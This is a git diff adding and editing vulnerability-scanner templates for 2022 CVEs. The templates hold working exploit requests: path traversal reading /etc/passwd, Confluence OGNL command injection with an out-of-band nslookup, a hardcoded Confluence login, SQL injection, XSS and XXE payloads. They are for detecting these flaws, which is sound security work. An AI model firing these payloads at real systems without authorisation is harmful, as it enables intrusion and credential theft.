"{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"></script><script>alert(document.domain)</script>' + - '"Not authenticated"' + condition: and + + - type: word + part: header + words: + - text/html diff --git a/cves/2022/CVE-2022-24900.yaml b/cves/2022/CVE-2022-24900.yaml new file mode 100644 index 0000000000..f5a13dc7a6 --- /dev/null +++ b/cves/2022/CVE-2022-24900.yaml @@ -0,0 +1,37 @@ +id: CVE-2022-24900 + +info: + name: Piano LED Visualizer 1.3 - Local File Inclusion + author: 0x_Akoko + severity: high + description: | + Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion. + reference: + - https://github.com/onlaj/Piano-LED-Visualizer/issues/350 + - https://vuldb.com/?id.198714 + - https://www.cvedetails.com/cve/CVE-2022-24900/ + - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cve-id: CVE-2022-24900 + cwe-id: CWE-610 + tags: cve,cve2022,lfi,piano,iot,oss + +requests: + - method: GET + path: + - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/29 diff --git a/cves/2022/CVE-2022-25216.yaml b/cves/2022/CVE-2022-25216.yaml index adef971fa1..fbccebf9ef 100644 --- a/cves/2022/CVE-2022-25216.yaml +++ b/cves/2022/CVE-2022-25216.yaml @@ -1,19 +1,19 @@ id: CVE-2022-25216 info: - name: DVDFab 12 Player/PlayerFab - Arbitrary File Read + name: DVDFab 12 Player/PlayerFab - Local File Inclusion author: 0x_Akoko severity: high - description: An absolute path traversal vulnerability allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access + description: DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access. reference: - https://www.tenable.com/security/research/tra-2022-07 - - https://www.cvedetails.com/cve/CVE-2022-25216 + - https://nvd.nist.gov/vuln/detail/CVE-2022-25216 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-25216 cwe-id: CWE-22 - tags: cve,cve2022,dvdFab,lfi,lfr + tags: cve,cve2022,dvdFab,lfi,lfr,tenable requests: - method: GET @@ -33,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/29 diff --git a/cves/2022/CVE-2022-25323.yaml b/cves/2022/CVE-2022-25323.yaml index 4952a62919..c5d5548842 100644 --- a/cves/2022/CVE-2022-25323.yaml +++ b/cves/2022/CVE-2022-25323.yaml @@ -8,6 +8,7 @@ info: reference: - https://github.com/awillix/research/blob/main/cve/CVE-2022-25323.md - https://nvd.nist.gov/vuln/detail/CVE-2022-25323 + - https://awillix.ru classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 diff --git a/cves/2022/CVE-2022-26134.yaml b/cves/2022/CVE-2022-26134.yaml new file mode 100644 index 0000000000..f56d736094 --- /dev/null +++ b/cves/2022/CVE-2022-26134.yaml @@ -0,0 +1,50 @@ +id: CVE-2022-26134 + +info: + name: Confluence - Remote Code Execution + author: pdteam,jbertman + severity: critical + description: | + Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability. + reference: + - https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis + - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html + - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ + - https://jira.atlassian.com/browse/CONFSERVER-79016 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-26134 + cwe-id: CWE-74 + metadata: + shodan-query: http.component:"Atlassian Confluence" + verified: "true" + tags: cve,cve2022,confluence,rce,ognl,oast,kev + +requests: + - method: GET + path: + - "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/" + - "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/" + + stop-at-first-match: true + req-condition: true + matchers-condition: or + matchers: + - type: dsl + dsl: + - 'contains(to_lower(all_headers_1), "x-cmd-response:")' + + - type: dsl + dsl: + - 'contains(interactsh_protocol, "dns")' + - 'contains(to_lower(response_2), "confluence")' + condition: and + + extractors: + - type: kval + part: header + kval: + - "x_cmd_response" + +# Enhanced by mp on 2022/07/04 diff --git a/cves/2022/CVE-2022-26138.yaml b/cves/2022/CVE-2022-26138.yaml new file mode 100644 index 0000000000..6bfc107c59 --- /dev/null +++ b/cves/2022/CVE-2022-26138.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-26138 + +info: + name: Questions For Confluence - Hardcoded Credentials + author: HTTPVoid + severity: critical + description: | + A remote, unauthenticated attacker with knowledge of the hardcoded password could exploit this to log into Confluence and access all content accessible to users in the confluence-users group. + reference: + - https://twitter.com/fluepke/status/1549892089181257729 + - https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-26138 + - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-26138 + cwe-id: CWE-798 + metadata: + shodan-query: http.component:"Atlassian Confluence" + tags: cve,cve2022,confluence,atlassian,default-login,kev + +requests: + - raw: + - | + POST /dologin.action HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action + + attack: pitchfork + payloads: + os_username: + - disabledsystemuser + os_password: + - disabled1system1user6708 + + matchers: + - type: dsl + dsl: + - 'location == "/httpvoid.action"' \ No newline at end of file diff --git a/cves/2022/CVE-2022-26148.yaml b/cves/2022/CVE-2022-26148.yaml index fdab7777c3..145648a2d6 100644 --- a/cves/2022/CVE-2022-26148.yaml +++ b/cves/2022/CVE-2022-26148.yaml @@ -1,14 +1,15 @@ id: CVE-2022-26148 info: - name: Grafana Zabbix Integration - Credential Disclosure + name: Grafana & Zabbix Integration - Credentials Disclosure author: Geekby severity: critical - description: An issue was discovered in Grafana through 7.3.4, when integrated with Zabbix. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to - register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address. + description: | + Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-26148 - https://2k8.org/post-319.html + - https://security.netapp.com/advisory/ntap-20220425-0005/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-26148 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 @@ -16,7 +17,7 @@ info: metadata: fofa-query: app="Grafana" shodan-query: title:"Grafana" - tags: cve,cve2022,grafana,zabbix + tags: cve,cve2022,grafana,zabbix,exposure requests: - method: GET @@ -50,4 +51,6 @@ requests: regex: - '"password":"(.*?)"' - '"username":"(.*?)"' - - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php' \ No newline at end of file + - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php' + +# Enhanced by mp on 2022/05/19 diff --git a/cves/2022/CVE-2022-26159.yaml b/cves/2022/CVE-2022-26159.yaml index 155341022e..41d6be2d94 100644 --- a/cves/2022/CVE-2022-26159.yaml +++ b/cves/2022/CVE-2022-26159.yaml @@ -4,11 +4,11 @@ info: name: Ametys CMS Information Disclosure author: Remi Gascou (podalirius) severity: medium - description: Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/domain/en.xml (and similar pathnames for other languages) via the - auto-completion plugin, which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords. + description: Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/domain/en.xml (and similar pathnames for other languages) via the auto-completion plugin, which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-26159 - https://podalirius.net/en/cves/2022-26159/ + - https://issues.ametys.org/browse/CMS-10973 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 diff --git a/cves/2022/CVE-2022-26233.yaml b/cves/2022/CVE-2022-26233.yaml index 1866d6cbaf..85601b85f3 100644 --- a/cves/2022/CVE-2022-26233.yaml +++ b/cves/2022/CVE-2022-26233.yaml @@ -1,19 +1,22 @@ id: CVE-2022-26233 info: - name: Barco Control Room Management Suite - Directory Traversal + name: Barco Control Room Management Suite <=2.9 Build 0275 - Local File Inclusion author: 0x_Akoko severity: high - description: Barco Control Room Management through Suite 2.9 Build 0275 was discovered to be vulnerable to directory traversal, allowing attackers to access sensitive information and components. Requests must begin with the "GET /..\.." substring. + description: Barco Control Room Management through Suite 2.9 Build 0275 is vulnerable to local file inclusion that could allow attackers to access sensitive information and components. Requests must begin with the "GET /..\.." substring. reference: - https://0day.today/exploit/37579 - https://www.cvedetails.com/cve/CVE-2022-26233 + - http://seclists.org/fulldisclosure/2022/Apr/0 + - http://packetstormsecurity.com/files/166577/Barco-Control-Room-Management-Suite-Directory-Traversal.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-26233 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-26233 cwe-id: CWE-22 - tags: cve,cve2022,barco,lfi + tags: cve,cve2022,barco,lfi,seclists,packetstorm requests: - raw: @@ -30,3 +33,5 @@ requests: - "fonts" - "extensions" condition: and + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-26352.yaml b/cves/2022/CVE-2022-26352.yaml index 711cc65c7a..159d6dd4a0 100644 --- a/cves/2022/CVE-2022-26352.yaml +++ b/cves/2022/CVE-2022-26352.yaml @@ -1,16 +1,21 @@ id: CVE-2022-26352 info: - name: DotCMS Arbitrary File Upload + name: DotCMS - Arbitrary File Upload author: h1ei1 severity: critical - description: There is an arbitrary file upload vulnerability in the /api/content/ path of the DotCMS management system, and attackers can upload malicious Trojans to obtain server permissions. + description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. reference: - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/ - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352 + - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 cve-id: CVE-2022-26352 - tags: cve,cve2022,rce,dotcms + cwe-id: CWE-22,CWE-434 + tags: packetstorm,cve,cve2022,rce,dotcms,kev,fileupload,intrusive requests: - raw: @@ -39,3 +44,5 @@ requests: - 'contains(body_2, "CVE-2022-26352")' - 'status_code_2 == 200' condition: and + +# Enhanced by mp on 2022/05/19 diff --git a/cves/2022/CVE-2022-26564.yaml b/cves/2022/CVE-2022-26564.yaml index df408ee328..33e215310b 100644 --- a/cves/2022/CVE-2022-26564.yaml +++ b/cves/2022/CVE-2022-26564.yaml @@ -1,45 +1,48 @@ -id: CVE-2022-26564 - -info: - name: HotelDruid Hotel Management Software 3.0.3 XSS - author: alexrydzak - severity: medium - description: | - HotelDruid Hotel Management Software v3.0.3 contains a cross-site scripting (XSS) vulnerability. - reference: - - https://rydzak.me/2022/04/cve-2022-26564/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-26564 - metadata: - shodan-query: http.favicon.hash:-1521640213 - classification: - cve-id: CVE-2022-26564 - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cwe-id: CWE-79 - tags: cve,cve2022,hoteldruid,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22><script>javascript:alert(%27XSS%27)</script>' - - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1' - - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script>' - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "<script>javascript:alert('XSS')</script>" - - "HotelDruid" - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 \ No newline at end of file +id: CVE-2022-26564 + +info: + name: HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting + author: alexrydzak + severity: medium + description: | + HotelDruid Hotel Management Software 3.0.3 contains a cross-site scripting vulnerability via the prezzoperiodo4 parameter in creaprezzi.php. + reference: + - https://rydzak.me/2022/04/cve-2022-26564/ + - https://www.hoteldruid.com + - https://nvd.nist.gov/vuln/detail/CVE-2022-26564 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-26564 + cwe-id: CWE-79 + metadata: + shodan-query: http.favicon.hash:-1521640213 + tags: cve,cve2022,hoteldruid,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22><script>javascript:alert(%27XSS%27)</script>' + - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1' + - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script>' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "<script>javascript:alert('XSS')</script>" + - "HotelDruid" + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/09 diff --git a/cves/2022/CVE-2022-26960.yaml b/cves/2022/CVE-2022-26960.yaml new file mode 100644 index 0000000000..d244810944 --- /dev/null +++ b/cves/2022/CVE-2022-26960.yaml @@ -0,0 +1,40 @@ +id: CVE-2022-26960 + +info: + name: elFinder <=2.1.60 - Local File Inclusion + author: pikpikcu + severity: critical + description: | + elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. + reference: + - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html + - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db + - https://www.synacktiv.com/publications.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-26960 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.1 + cve-id: CVE-2022-26960 + cwe-id: CWE-22 + metadata: + verified: true + tags: cve,cve2022,lfi,elfinder + +requests: + - raw: + - | + GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/05 diff --git a/cves/2022/CVE-2022-27849.yaml b/cves/2022/CVE-2022-27849.yaml index 67767168e0..d52f9a2027 100644 --- a/cves/2022/CVE-2022-27849.yaml +++ b/cves/2022/CVE-2022-27849.yaml @@ -1,20 +1,22 @@ id: CVE-2022-27849 + info: - name: WordPress Simple Ajax Chat plugin <= 20220115 - Sensitive Information Disclosure vulnerability + name: WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability author: random-robbie - severity: medium + severity: high description: | - Simple Ajax Chat < 20220216 - Sensitive Information Disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it + WordPress Simple Ajax Chat before 20220216 is vulnerable to sensitive information disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it. reference: - https://wordpress.org/plugins/simple-ajax-chat/#developers - - https://nvd.nist.gov/vuln/detail/CVE-2022-27849/ + - https://patchstack.com/database/vulnerability/simple-ajax-chat/wordpress-simple-ajax-chat-plugin-20220115-sensitive-information-disclosure-vulnerability + - https://nvd.nist.gov/vuln/detail/CVE-2022-27849 classification: - cvss-metrics: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N' - cvss-score: 5.3 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 cve-id: CVE-2022-27849 cwe-id: CWE-200 metadata: - google-dork: inurl:/wp-content/plugins/simple-ajax-chat/ + google-query: inurl:/wp-content/plugins/simple-ajax-chat/ tags: wp,wordpress,wp-plugin,cve,cve2022,disclosure requests: @@ -40,3 +42,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-27927.yaml b/cves/2022/CVE-2022-27927.yaml new file mode 100644 index 0000000000..64d50a460c --- /dev/null +++ b/cves/2022/CVE-2022-27927.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-27927 + +info: + name: Microfinance Management System 1.0 - SQL Injection + author: lucasljm2001,ekrause + severity: critical + description: | + Microfinance Management System 1.0 is susceptible to SQL Injection. + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927 + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip + - https://www.exploit-db.com/exploits/50891 + - https://nvd.nist.gov/vuln/detail/CVE-2022-27927 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-27927 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: microfinance,edb,cve,cve2022,sqli + +variables: + num: "999999999" + +requests: + - raw: + - | + GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/cves/2022/CVE-2022-28079.yaml b/cves/2022/CVE-2022-28079.yaml new file mode 100644 index 0000000000..c1b122ba24 --- /dev/null +++ b/cves/2022/CVE-2022-28079.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-28079 + +info: + name: College Management System 1.0 - SQL Injection + author: ritikchaddha + severity: high + description: | + College Management System 1.0 contains a SQL injection vulnerability via the course code parameter. + reference: + - https://github.com/erengozaydin/College-Management-System-course_code-SQL-Injection-Authenticated + - https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f + - https://nvd.nist.gov/vuln/detail/CVE-2022-28079 + - https://code-projects.org/college-management-system-in-php-with-source-code/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2022-28079 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli,cms,collegemanagement + +variables: + num: "999999999" + +requests: + - raw: + - | + POST /admin/asign-single-student-subjects.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + submit=Press&roll_no=3&course_code=sd' UNION ALL SELECT CONCAT(md5({{num}}),12,21),NULL,NULL,NULL,NULL# + + matchers-condition: and + matchers: + - type: word + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 302 + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-28080.yaml b/cves/2022/CVE-2022-28080.yaml new file mode 100644 index 0000000000..021d8a2b18 --- /dev/null +++ b/cves/2022/CVE-2022-28080.yaml @@ -0,0 +1,72 @@ +id: CVE-2022-28080 + +info: + name: Royal Event - SQL Injection + author: lucasljm2001,ekrause,ritikchaddha + severity: high + description: | + Royal Event is vulnerable to a SQL injection vulnerability. + reference: + - https://www.exploit-db.com/exploits/50934 + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip + - https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated + - https://nvd.nist.gov/vuln/detail/CVE-2022-28080 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2022-28080 + tags: royalevent,edb,cve,cve2022,sqli,authenticated,cms + +requests: + - raw: + - | + POST /royal_event/ HTTP/1.1 + Host: {{Hostname}} + Content-Length: 353 + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD + + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="username" + + {{username}} + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="password" + + {{password}} + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="login" + + + ------WebKitFormBoundaryCSxQll1eihcqgIgD-- + + - | + POST /royal_event/btndates_report.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD + + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="todate" + + 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5("{{randstr}}"),0x1,0x2),NULL-- - + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="search" + + 3 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="fromdate" + + 01/01/2011 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD-- + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + words: + - '{{md5("{{randstr}}")}}' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-28219.yaml b/cves/2022/CVE-2022-28219.yaml new file mode 100644 index 0000000000..16c51b8734 --- /dev/null +++ b/cves/2022/CVE-2022-28219.yaml @@ -0,0 +1,58 @@ +id: CVE-2022-28219 + +info: + name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution + author: dwisiswant0 + severity: critical + description: | + Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an + unauthenticated XML entity injection attack that can lead to remote code execution. + reference: + - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html + - https://www.horizon3.ai/red-team-blog-cve-2022-28219/ + - https://manageengine.com + - https://nvd.nist.gov/vuln/detail/CVE-2022-28219 + remediation: | + Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus + is configured with a dedicated service account with restricted privileges. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-28219 + cwe-id: CWE-611 + metadata: + shodan-query: http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus" + verified: "true" + tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth + +requests: + - method: POST + path: + - "{{BaseURL}}/api/agent/tabs/agentData" + + headers: + Content-Type: application/json + body: | + [ + { + "DomainName": "{{Host}}", + "EventCode": 4688, + "EventType": 0, + "TimeGenerated": 0, + "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><! foo [ <!ENTITY % xxe SYSTEM \"http://{{interactsh-url}}\"> %xxe; ]>" + } + ] + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: word + part: body + words: + - "ManageEngine" + +# Enhanced by mp on 2022/07/04 diff --git a/cves/2022/CVE-2022-28363.yaml b/cves/2022/CVE-2022-28363.yaml index b78b96ed26..fc2e62196f 100644 --- a/cves/2022/CVE-2022-28363.yaml +++ b/cves/2022/CVE-2022-28363.yaml @@ -1,7 +1,7 @@ id: CVE-2022-28363 info: - name: Reprise License Manager 14.2 - Reflected Cross-Site Scripting + name: Reprise License Manager 14.2 - Cross-Site Scripting author: Akincibor severity: medium description: | @@ -16,7 +16,7 @@ info: cvss-score: 6.1 cve-id: CVE-2022-28363 cwe-id: CWE-79 - tags: cve,cve2022,xss,rlm + tags: xss,rlm,packetstorm,cve,cve2022 requests: - method: GET diff --git a/cves/2022/CVE-2022-28365.yaml b/cves/2022/CVE-2022-28365.yaml index 2260c8d8ae..0630000a5e 100644 --- a/cves/2022/CVE-2022-28365.yaml +++ b/cves/2022/CVE-2022-28365.yaml @@ -16,7 +16,7 @@ info: cvss-score: 5.3 cve-id: CVE-2022-28365 cwe-id: CWE-668 - tags: cve,cve2022,exposure,rlm + tags: rlm,packetstorm,cve,cve2022,exposure requests: - method: GET diff --git a/cves/2022/CVE-2022-28955.yaml b/cves/2022/CVE-2022-28955.yaml new file mode 100644 index 0000000000..3b532d866e --- /dev/null +++ b/cves/2022/CVE-2022-28955.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-28955 + +info: + name: D-Link DIR816L - Access Control + author: arafatansari + severity: high + description: | + An access control issue in D-Link DIR816L_FW206b01 allows unauthenticated attackers to access folders folder_view.php and category_view.php. + reference: + - https://github.com/shijin0925/IOT/blob/master/DIR816/1.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-28955 + - https://www.dlink.com/en/security-bulletin/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-28955 + cwe-id: CWE-287 + metadata: + shodan-query: http.html:"DIR-816L" + verified: "true" + tags: cve,cve2022,dlink,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/category_view.php" + - "{{BaseURL}}/folder_view.php" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - '<title>SharePort Web Access' + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-29004.yaml b/cves/2022/CVE-2022-29004.yaml new file mode 100644 index 0000000000..1736ffe755 --- /dev/null +++ b/cves/2022/CVE-2022-29004.yaml @@ -0,0 +1,53 @@ +id: CVE-2022-29004 + +info: + name: Diary Management System v1.0 - Cross-Site scripting + author: TenBird + severity: medium + description: | + Diary Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Name parameter in search-result.php. + reference: + - https://github.com/sudoninja-noob/CVE-2022-29004/blob/main/CVE-2022-29004.txt + - https://phpgurukul.com/e-diary-management-system-using-php-and-mysql/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-29004 + - http://phpgurukul.com + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-29004 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2022,xss,authenticated,edms +requests: + - raw: + - | + POST /edms/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + logindetail={{username}}&userpassword={{password}}&login= + + - | + POST /edms/search-result.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + searchdata= + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Serach Result Against "' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-29005.yaml b/cves/2022/CVE-2022-29005.yaml new file mode 100644 index 0000000000..d173c2ecf7 --- /dev/null +++ b/cves/2022/CVE-2022-29005.yaml @@ -0,0 +1,50 @@ +id: CVE-2022-29005 +info: + name: Online Birth Certificate System V1.2 - Stored Cross-Site scripting + author: TenBird + severity: medium + description: | + Multiple cross-site scripting (XSS) vulnerabilities in the component /obcs/user/profile.php of Online Birth Certificate System v1.2 